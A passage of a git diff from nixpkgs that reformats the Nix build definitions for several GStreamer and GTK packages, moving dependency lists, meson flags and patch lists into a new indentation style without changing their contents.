-      ninja
-      pkg-config
-      gettext
-      bison
-      flex
-      python3
-      makeWrapper
-      glib
-      bash-completion
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap # for setcap binary
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ]
-    ++ lib.optionals withRust [
-      rustc
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    bison
+    flex
+    python3
+    makeWrapper
+    glib
+    bash-completion
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap # for setcap binary
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ]
+  ++ lib.optionals withRust [
+    rustc
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
-  buildInputs =
-    [
-      bash-completion
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-    ]
-    ++ lib.optionals hasElfutils [
-      elfutils
-    ]
-    ++ lib.optionals withLibunwind [
-      libunwind
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    bash-completion
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+  ]
+  ++ lib.optionals hasElfutils [
+    elfutils
+  ]
+  ++ lib.optionals withLibunwind [
+    libunwind
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/development/libraries/gstreamer/devtools/default.nix b/pkgs/development/libraries/gstreamer/devtools/default.nix
index 79f0c59b727b..77eceec7cbd0 100644
--- a/pkgs/development/libraries/gstreamer/devtools/default.nix
+++ b/pkgs/development/libraries/gstreamer/devtools/default.nix
@@ -60,29 +60,27 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      rustPlatform.cargoSetupHook
-      rustc
-      cargo
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    rustPlatform.cargoSetupHook
+    rustc
+    cargo
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
-  buildInputs =
-    [
-      cairo
-      python3
-      json-glib
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    cairo
+    python3
+    json-glib
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    apple-sdk_gstreamer
+  ];
 
   propagatedBuildInputs = [
     gstreamer
diff --git a/pkgs/development/libraries/gstreamer/ges/default.nix b/pkgs/development/libraries/gstreamer/ges/default.nix
index 92baa4bd66f2..2e2a9fdae3fa 100644
--- a/pkgs/development/libraries/gstreamer/ges/default.nix
+++ b/pkgs/development/libraries/gstreamer/ges/default.nix
@@ -35,30 +35,28 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-r1sn9ck2MCc3IQDKwLrxkFUoBynfHMWN1ORU72mOsf8=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      gobject-introspection
-      python3
-      flex
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    gobject-introspection
+    python3
+    flex
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
-  buildInputs =
-    [
-      bash-completion
-      libxml2
-      gst-devtools
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    bash-completion
+    libxml2
+    gst-devtools
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
   propagatedBuildInputs = [
     gst-plugins-base
diff --git a/pkgs/development/libraries/gstreamer/good/default.nix b/pkgs/development/libraries/gstreamer/good/default.nix
index 7fa065408604..29c3bc5e71b0 100644
--- a/pkgs/development/libraries/gstreamer/good/default.nix
+++ b/pkgs/development/libraries/gstreamer/good/default.nix
@@ -104,154 +104,151 @@ stdenv.mkDerivation (finalAttrs: {
 
   depsBuildBuild = [ pkg-config ];
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    pkg-config
+    python3
+    meson
+    ninja
+    gettext
+    nasm
+    orc
+    libshout
+    glib
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ]
+  ++ lib.optionals qt5Support (
+    with qt5;
     [
-      pkg-config
-      python3
-      meson
-      ninja
-      gettext
-      nasm
-      orc
-      libshout
-      glib
+      qtbase
+      qttools
     ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
+  )
+  ++ lib.optionals qt6Support (
+    with qt6;
+    [
+      qtbase
+      qttools
     ]
-    ++ lib.optionals qt5Support (
-      with qt5;
-      [
-        qtbase
-        qttools
-      ]
-    )
-    ++ lib.optionals qt6Support (
-      with qt6;
-      [
-        qtbase
-        qttools
-      ]
-    )
-    ++ lib.optionals enableWayland [
-      wayland-protocols
-    ];
+  )
+  ++ lib.optionals enableWayland [
+    wayland-protocols
+  ];
 
-  buildInputs =
+  buildInputs = [
+    gst-plugins-base
+    orc
+    bzip2
+    libdv
+    libvpx
+    speex
+    opencore-amr
+    flac
+    taglib
+    cairo
+    gdk-pixbuf
+    aalib
+    libcaca
+    libsoup_3
+    libshout
+    libxml2
+    lame
+    mpg123
+    twolame
+    libintl
+    ncurses
+    wavpack
+    openssl
+  ]
+  ++ lib.optionals raspiCameraSupport [
+    libraspberrypi
+  ]
+  ++ lib.optionals enableX11 [
+    xorg.libXext
+    xorg.libXfixes
+    xorg.libXdamage
+    xorg.libXtst
+    xorg.libXi
+  ]
+  ++ lib.optionals gtkSupport [
+    # for gtksink
+    gtk3
+  ]
+  ++ lib.optionals qt5Support (
+    with qt5;
     [
-      gst-plugins-base
-      orc
-      bzip2
-      libdv
-      libvpx
-      speex
-      opencore-amr
-      flac
-      taglib
-      cairo
-      gdk-pixbuf
-      aalib
-      libcaca
-      libsoup_3
-      libshout
-      libxml2
-      lame
-      mpg123
-      twolame
-      libintl
-      ncurses
-      wavpack
-      openssl
+      qtbase
+      qtdeclarative
+      qtwayland
+      qtx11extras
     ]
-    ++ lib.optionals raspiCameraSupport [
-      libraspberrypi
+  )
+  ++ lib.optionals qt6Support (
+    with qt6;
+    [
+      qtbase
+      qtdeclarative
+      qtwayland
     ]
-    ++ lib.optionals enableX11 [
-      xorg.libXext
-      xorg.libXfixes
-      xorg.libXdamage
-      xorg.libXtst
-      xorg.libXi
-    ]
-    ++ lib.optionals gtkSupport [
-      # for gtksink
-      gtk3
-    ]
-    ++ lib.optionals qt5Support (
-      with qt5;
-      [
-        qtbase
-        qtdeclarative
-        qtwayland
-        qtx11extras
-      ]
-    )
-    ++ lib.optionals qt6Support (
-      with qt6;
-      [
-        qtbase
-        qtdeclarative
-        qtwayland
-      ]
-    )
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libdrm
-      libGL
-      libv4l
-      libpulseaudio
-      libavc1394
-      libiec61883
-      libgudev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ]
-    ++ lib.optionals enableWayland [
-      wayland
-    ]
-    ++ lib.optionals enableJack [
-      libjack2
-    ];
+  )
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libdrm
+    libGL
+    libv4l
+    libpulseaudio
+    libavc1394
+    libiec61883
+    libgudev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ]
+  ++ lib.optionals enableWayland [
+    wayland
+  ]
+  ++ lib.optionals enableJack [
+    libjack2
+  ];
 
-  mesonFlags =
-    [
-      "-Dexamples=disabled" # requires many dependencies and probably not useful for our users
-      "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
-      (lib.mesonEnable "doc" enableDocumentation)
-    ]
-    ++ lib.optionals (!qt5Support) [
-      "-Dqt5=disabled"
-    ]
-    ++ lib.optionals (!qt6Support) [
-      "-Dqt6=disabled"
-    ]
-    ++ lib.optionals (!gtkSupport) [
-      "-Dgtk3=disabled"
-    ]
-    ++ lib.optionals (!enableX11) [
-      "-Dximagesrc=disabled" # Linux-only
-    ]
-    ++ lib.optionals (!enableJack) [
-      "-Djack=disabled"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Ddv1394=disabled" # Linux only
-      "-Doss4=disabled" # Linux only
-      "-Doss=disabled" # Linux only
-      "-Dpulse=disabled" # TODO check if we can keep this enabled
-      "-Dv4l2-gudev=disabled" # Linux-only
-      "-Dv4l2=disabled" # Linux-only
-    ]
-    ++ (
-      if raspiCameraSupport then
-        [
-          "-Drpi-lib-dir=${libraspberrypi}/lib"
-        ]
-      else
-        [
-          "-Drpicamsrc=disabled"
-        ]
-    );
+  mesonFlags = [
+    "-Dexamples=disabled" # requires many dependencies and probably not useful for our users
+    "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
+    (lib.mesonEnable "doc" enableDocumentation)
+  ]
+  ++ lib.optionals (!qt5Support) [
+    "-Dqt5=disabled"
+  ]
+  ++ lib.optionals (!qt6Support) [
+    "-Dqt6=disabled"
+  ]
+  ++ lib.optionals (!gtkSupport) [
+    "-Dgtk3=disabled"
+  ]
+  ++ lib.optionals (!enableX11) [
+    "-Dximagesrc=disabled" # Linux-only
+  ]
+  ++ lib.optionals (!enableJack) [
+    "-Djack=disabled"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Ddv1394=disabled" # Linux only
+    "-Doss4=disabled" # Linux only
+    "-Doss=disabled" # Linux only
+    "-Dpulse=disabled" # TODO check if we can keep this enabled
+    "-Dv4l2-gudev=disabled" # Linux-only
+    "-Dv4l2=disabled" # Linux-only
+  ]
+  ++ (
+    if raspiCameraSupport then
+      [
+        "-Drpi-lib-dir=${libraspberrypi}/lib"
+      ]
+    else
+      [
+        "-Drpicamsrc=disabled"
+      ]
+  );
 
   postPatch = ''
     patchShebangs \
@@ -273,23 +270,22 @@ stdenv.mkDerivation (finalAttrs: {
   dontWrapQtApps = true;
 
   passthru = {
-    tests =
-      {
-        gtk = gst-plugins-good.override {
-          gtkSupport = true;
-        };
-        qt5 = gst-plugins-good.override {
-          qt5Support = true;
-        };
-        qt6 = gst-plugins-good.override {
-          qt6Support = true;
-        };
-      }
-      // lib.optionalAttrs hostSupportsRaspiCamera {
-        raspiCamera = gst-plugins-good.override {
-          raspiCameraSupport = true;
-        };
+    tests = {
+      gtk = gst-plugins-good.override {
+        gtkSupport = true;
       };
+      qt5 = gst-plugins-good.override {
+        qt5Support = true;
+      };
+      qt6 = gst-plugins-good.override {
+        qt6Support = true;
+      };
+    }
+    // lib.optionalAttrs hostSupportsRaspiCamera {
+      raspiCamera = gst-plugins-good.override {
+        raspiCameraSupport = true;
+      };
+    };
 
     updateScript = directoryListingUpdater { };
   };
diff --git a/pkgs/development/libraries/gstreamer/icamerasrc/default.nix b/pkgs/development/libraries/gstreamer/icamerasrc/default.nix
index 5f6842e7e4ee..f4803998ae8d 100644
--- a/pkgs/development/libraries/gstreamer/icamerasrc/default.nix
+++ b/pkgs/development/libraries/gstreamer/icamerasrc/default.nix
@@ -34,18 +34,17 @@ stdenv.mkDerivation {
     export STRIP_VIRTUAL_CHANNEL_CAMHAL=ON
   '';
 
-  buildInputs =
-    [
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-bad
-      ipu6-camera-hal
-      libdrm
-      libva
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-bad
+    ipu6-camera-hal
+    libdrm
+    libva
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
   NIX_CFLAGS_COMPILE = [
     "-Wno-error"
diff --git a/pkgs/development/libraries/gstreamer/libav/default.nix b/pkgs/development/libraries/gstreamer/libav/default.nix
index 72dc282f70cc..c1bb742b616d 100644
--- a/pkgs/development/libraries/gstreamer/libav/default.nix
+++ b/pkgs/development/libraries/gstreamer/libav/default.nix
@@ -31,27 +31,25 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-cHqLaH/1/dzuWwJBXi7JtxtKxE0Leuw7R3Nkzuy/Hs8=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gettext
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gettext
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
-  buildInputs =
-    [
-      gstreamer
-      gst-plugins-base
-      ffmpeg-headless
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    gstreamer
+    gst-plugins-base
+    ffmpeg-headless
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
   mesonFlags = [
     (lib.mesonEnable "doc" enableDocumentation)
diff --git a/pkgs/development/libraries/gstreamer/rs/default.nix b/pkgs/development/libraries/gstreamer/rs/default.nix
index 1722fc795837..11903735d124 100644
--- a/pkgs/development/libraries/gstreamer/rs/default.nix
+++ b/pkgs/development/libraries/gstreamer/rs/default.nix
@@ -203,37 +203,35 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      rustPlatform.cargoSetupHook
-      meson
-      ninja
-      python3
-      python3.pkgs.tomli
-      pkg-config
-      rustc
-      cargo
-      cargo-c'
-      nasm
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      lld
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    rustPlatform.cargoSetupHook
+    meson
+    ninja
+    python3
+    python3.pkgs.tomli
+    pkg-config
+    rustc
+    cargo
+    cargo-c'
+    nasm
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    lld
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
   env = lib.optionalAttrs stdenv.hostPlatform.isDarwin { NIX_CFLAGS_LINK = "-fuse-ld=lld"; };
 
-  buildInputs =
-    [
-      gstreamer
-      gst-plugins-base
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ]
-    ++ lib.concatMap (plugin: lib.getAttr plugin validPlugins) selectedPlugins;
+  buildInputs = [
+    gstreamer
+    gst-plugins-base
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ]
+  ++ lib.concatMap (plugin: lib.getAttr plugin validPlugins) selectedPlugins;
 
   checkInputs = [
     gst-plugins-good
@@ -252,15 +250,14 @@ stdenv.mkDerivation (finalAttrs: {
   doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform;
 
   # csound lib dir must be manually specified for it to build
-  preConfigure =
-    ''
-      export CARGO_BUILD_JOBS=$NIX_BUILD_CORES
+  preConfigure = ''
+    export CARGO_BUILD_JOBS=$NIX_BUILD_CORES
 
-      patchShebangs dependencies.py
-    ''
-    + lib.optionalString (lib.elem "csound" selectedPlugins) ''
-      export CSOUND_LIB_DIR=${lib.getLib csound}/lib
-    '';
+    patchShebangs dependencies.py
+  ''
+  + lib.optionalString (lib.elem "csound" selectedPlugins) ''
+    export CSOUND_LIB_DIR=${lib.getLib csound}/lib
+  '';
 
   mesonCheckFlags = [ "--verbose" ];
 
diff --git a/pkgs/development/libraries/gstreamer/rtsp-server/default.nix b/pkgs/development/libraries/gstreamer/rtsp-server/default.nix
index dade9cd11663..befafdb2329c 100644
--- a/pkgs/development/libraries/gstreamer/rtsp-server/default.nix
+++ b/pkgs/development/libraries/gstreamer/rtsp-server/default.nix
@@ -31,27 +31,25 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-6YPAOUluP3XjlpZVTOdNtBIOJGXeF6ocw3FgVo6bQLw=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gettext
-      gobject-introspection
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gettext
+    gobject-introspection
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
-  buildInputs =
-    [
-      gst-plugins-base
-      gst-plugins-bad
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    gst-plugins-base
+    gst-plugins-bad
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
   mesonFlags = [
     "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
diff --git a/pkgs/development/libraries/gstreamer/ugly/default.nix b/pkgs/development/libraries/gstreamer/ugly/default.nix
index 0329460a6e8d..2e86309a51c5 100644
--- a/pkgs/development/libraries/gstreamer/ugly/default.nix
+++ b/pkgs/development/libraries/gstreamer/ugly/default.nix
@@ -39,57 +39,54 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-qGtRyEVKgTEghIyANCHzJ9jAeqvK5GHgWXzEk5jA/N4=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gettext
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gettext
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
-  buildInputs =
-    [
-      gst-plugins-base
-      orc
-      libintl
-    ]
-    ++ lib.optionals enableGplPlugins [
-      a52dec
-      libcdio
-      libdvdread
-      libmad
-      libmpeg2
-      x264
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    gst-plugins-base
+    orc
+    libintl
+  ]
+  ++ lib.optionals enableGplPlugins [
+    a52dec
+    libcdio
+    libdvdread
+    libmad
+    libmpeg2
+    x264
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
-  mesonFlags =
-    [
-      "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
-      "-Dsidplay=disabled" # sidplay / sidplay/player.h isn't packaged in nixpkgs as of writing
-      (lib.mesonEnable "doc" enableDocumentation)
-    ]
-    ++ (
-      if enableGplPlugins then
-        [
-          "-Dgpl=enabled"
-        ]
-      else
-        [
-          "-Da52dec=disabled"
-          "-Dcdio=disabled"
-          "-Ddvdread=disabled"
-          "-Dmpeg2dec=disabled"
-          "-Dsidplay=disabled"
-          "-Dx264=disabled"
-        ]
-    );
+  mesonFlags = [
+    "-Dglib_debug=disabled" # cast checks should be disabled on stable releases
+    "-Dsidplay=disabled" # sidplay / sidplay/player.h isn't packaged in nixpkgs as of writing
+    (lib.mesonEnable "doc" enableDocumentation)
+  ]
+  ++ (
+    if enableGplPlugins then
+      [
+        "-Dgpl=enabled"
+      ]
+    else
+      [
+        "-Da52dec=disabled"
+        "-Dcdio=disabled"
+        "-Ddvdread=disabled"
+        "-Dmpeg2dec=disabled"
+        "-Dsidplay=disabled"
+        "-Dx264=disabled"
+      ]
+  );
 
   postPatch = ''
     patchShebangs \
diff --git a/pkgs/development/libraries/gstreamer/vaapi/default.nix b/pkgs/development/libraries/gstreamer/vaapi/default.nix
index c717fa21e725..0fd9fb113c29 100644
--- a/pkgs/development/libraries/gstreamer/vaapi/default.nix
+++ b/pkgs/development/libraries/gstreamer/vaapi/default.nix
@@ -42,45 +42,43 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Vzkx1FX1qW9j23yNNdUTIrjSh4FujGp32Ez7ufoTUfE=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-      bzip2
-      wayland-scanner
-    ]
-    ++ lib.optionals enableDocumentation [
-      hotdoc
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+    bzip2
+    wayland-scanner
+  ]
+  ++ lib.optionals enableDocumentation [
+    hotdoc
+  ];
 
-  buildInputs =
-    [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-bad
-      libva
-      wayland
-      wayland-protocols
-      libdrm
-      udev
-      xorg.libX11
-      xorg.libXext
-      xorg.libXv
-      xorg.libXrandr
-      xorg.libSM
-      xorg.libICE
-      nasm
-      libvpx
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGL
-      libGLU
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_gstreamer
-    ];
+  buildInputs = [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-bad
+    libva
+    wayland
+    wayland-protocols
+    libdrm
+    udev
+    xorg.libX11
+    xorg.libXext
+    xorg.libXv
+    xorg.libXrandr
+    xorg.libSM
+    xorg.libICE
+    nasm
+    libvpx
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGL
+    libGLU
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_gstreamer
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/gtk/2.x.nix b/pkgs/development/libraries/gtk/2.x.nix
index 0fd2d15f83f7..c8c62632c9ef 100644
--- a/pkgs/development/libraries/gtk/2.x.nix
+++ b/pkgs/development/libraries/gtk/2.x.nix
@@ -64,64 +64,61 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  patches =
-    [
-      ./patches/2.0-immodules.cache.patch
-      ./patches/gtk2-theme-paths.patch
-      (fetchpatch {
-        # https://gitlab.gnome.org/GNOME/gtk/-/issues/6786
-        name = "CVE-2024-6655.patch";
-        url = "https://gitlab.gnome.org/GNOME/gtk/-/commit/3bbf0b6176d42836d23c36a6ac410e807ec0a7a7.patch";
-        hash = "sha256-mstOPk9NNpUwScrdEbvGhmAv8jlds3SBdj53T0q33vM=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ./patches/2.0-gnome_bugzilla_557780_306776_freeciv_darwin.patch
-      ./patches/2.0-darwin-x11.patch
-      # Fixes an incompatible function pointer conversion and implicit int errors with clang 16.
-      ./patches/2.0-clang.patch
-    ];
+  patches = [
+    ./patches/2.0-immodules.cache.patch
+    ./patches/gtk2-theme-paths.patch
+    (fetchpatch {
+      # https://gitlab.gnome.org/GNOME/gtk/-/issues/6786
+      name = "CVE-2024-6655.patch";
+      url = "https://gitlab.gnome.org/GNOME/gtk/-/commit/3bbf0b6176d42836d23c36a6ac410e807ec0a7a7.patch";
+      hash = "sha256-mstOPk9NNpUwScrdEbvGhmAv8jlds3SBdj53T0q33vM=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ./patches/2.0-gnome_bugzilla_557780_306776_freeciv_darwin.patch
+    ./patches/2.0-darwin-x11.patch
+    # Fixes an incompatible function pointer conversion and implicit int errors with clang 16.
+    ./patches/2.0-clang.patch
+  ];
 
-  propagatedBuildInputs =
-    [
-      atk
-      cairo
-      gdk-pixbuf
-      glib
-      pango
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isDarwin) [
-      libXcomposite
-      libXcursor
-      libXi
-      libXrandr
-      libXrender
-    ]
-    ++ lib.optional xineramaSupport libXinerama
-    ++ lib.optional cupsSupport cups
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libXdamage
-    ];
+  propagatedBuildInputs = [
+    atk
+    cairo
+    gdk-pixbuf
+    glib
+    pango
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isDarwin) [
+    libXcomposite
+    libXcursor
+    libXi
+    libXrandr
+    libXrender
+  ]
+  ++ lib.optional xineramaSupport libXinerama
+  ++ lib.optional cupsSupport cups
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libXdamage
+  ];
 
   preConfigure = lib.optionalString (
     stdenv.hostPlatform.isDarwin && lib.versionAtLeast stdenv.hostPlatform.darwinMinVersion "11"
   ) "MACOSX_DEPLOYMENT_TARGET=10.16";
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--with-gdktarget=${gdktarget}"
-      "--with-xinput=yes"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--disable-glibtest"
-      "--disable-introspection"
-      "--disable-visibility"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "ac_cv_path_GTK_UPDATE_ICON_CACHE=${buildPackages.gtk2}/bin/gtk-update-icon-cache"
-      "ac_cv_path_GDK_PIXBUF_CSOURCE=${buildPackages.gdk-pixbuf.dev}/bin/gdk-pixbuf-csource"
-    ];
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--with-gdktarget=${gdktarget}"
+    "--with-xinput=yes"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--disable-glibtest"
+    "--disable-introspection"
+    "--disable-visibility"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "ac_cv_path_GTK_UPDATE_ICON_CACHE=${buildPackages.gtk2}/bin/gtk-update-icon-cache"
+    "ac_cv_path_GDK_PIXBUF_CSOURCE=${buildPackages.gdk-pixbuf.dev}/bin/gdk-pixbuf-csource"
+  ];
 
   env = lib.optionalAttrs stdenv.cc.isGNU {
     NIX_CFLAGS_COMPILE = toString [
@@ -171,14 +168,13 @@ stdenv.mkDerivation (finalAttrs: {
       raskin
     ];
     platforms = lib.platforms.all;
-    pkgConfigModules =
-      [
-        "gdk-2.0"
-        "gtk+-2.0"
-      ]
-      ++ lib.optionals (gdktarget == "x11") [
-        "gdk-x11-2.0"
-        "gtk+-x11-2.0"
-      ];
+    pkgConfigModules = [
+      "gdk-2.0"
+      "gtk+-2.0"
+    ]
+    ++ lib.optionals (gdktarget == "x11") [
+      "gdk-x11-2.0"
+      "gtk+-x11-2.0"
+    ];
   };
 })
diff --git a/pkgs/development/libraries/gtk/3.x.nix b/pkgs/development/libraries/gtk/3.x.nix
index fe2efb167ccf..f8fdf154b7dc 100644
--- a/pkgs/development/libraries/gtk/3.x.nix
+++ b/pkgs/development/libraries/gtk/3.x.nix
@@ -67,7 +67,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
   outputBin = "dev";
 
   setupHooks = [
@@ -84,61 +85,58 @@ stdenv.mkDerivation (finalAttrs: {
       hash = "sha256-XqUsaijw5ezy6aPC+suzDQQLc4cfzV8zzRMX6QGKFG4=";
     };
 
-  patches =
-    [
-      ./patches/3.0-immodules.cache.patch
-      ./patches/3.0-Xft-setting-fallback-compute-DPI-properly.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # X11 module requires <gio/gdesktopappinfo.h> which is not installed on Darwin
-      # let’s drop that dependency in similar way to how other parts of the library do it
-      # e.g. https://gitlab.gnome.org/GNOME/gtk/blob/3.24.4/gtk/gtk-launch.c#L31-33
-      # https://gitlab.gnome.org/GNOME/gtk/merge_requests/536
-      ./patches/3.0-darwin-x11.patch
-    ];
+  patches = [
+    ./patches/3.0-immodules.cache.patch
+    ./patches/3.0-Xft-setting-fallback-compute-DPI-properly.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # X11 module requires <gio/gdesktopappinfo.h> which is not installed on Darwin
+    # let’s drop that dependency in similar way to how other parts of the library do it
+    # e.g. https://gitlab.gnome.org/GNOME/gtk/blob/3.24.4/gtk/gtk-launch.c#L31-33
+    # https://gitlab.gnome.org/GNOME/gtk/merge_requests/536
+    ./patches/3.0-darwin-x11.patch
+  ];
 
   depsBuildBuild = [
     pkg-config
   ];
-  nativeBuildInputs =
-    [
-      gettext
-      makeWrapper
-      meson
-      ninja
-      pkg-config
-      python3
-      sassc
-      gdk-pixbuf
-    ]
-    ++ finalAttrs.setupHooks
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      docbook_xml_dtd_43
-      docbook-xsl-nons
-      gtk-doc
-      # For xmllint
-      libxml2
-    ]
-    ++
-      lib.optionals
-        ((withIntrospection || compileSchemas) && !stdenv.buildPlatform.canExecute stdenv.hostPlatform)
-        [
-          mesonEmulatorHook
-        ]
-    ++ lib.optionals waylandSupport [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    gettext
+    makeWrapper
+    meson
+    ninja
+    pkg-config
+    python3
+    sassc
+    gdk-pixbuf
+  ]
+  ++ finalAttrs.setupHooks
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    docbook_xml_dtd_43
+    docbook-xsl-nons
+    gtk-doc
+    # For xmllint
+    libxml2
+  ]
+  ++
+    lib.optionals
+      ((withIntrospection || compileSchemas) && !stdenv.buildPlatform.canExecute stdenv.hostPlatform)
+      [
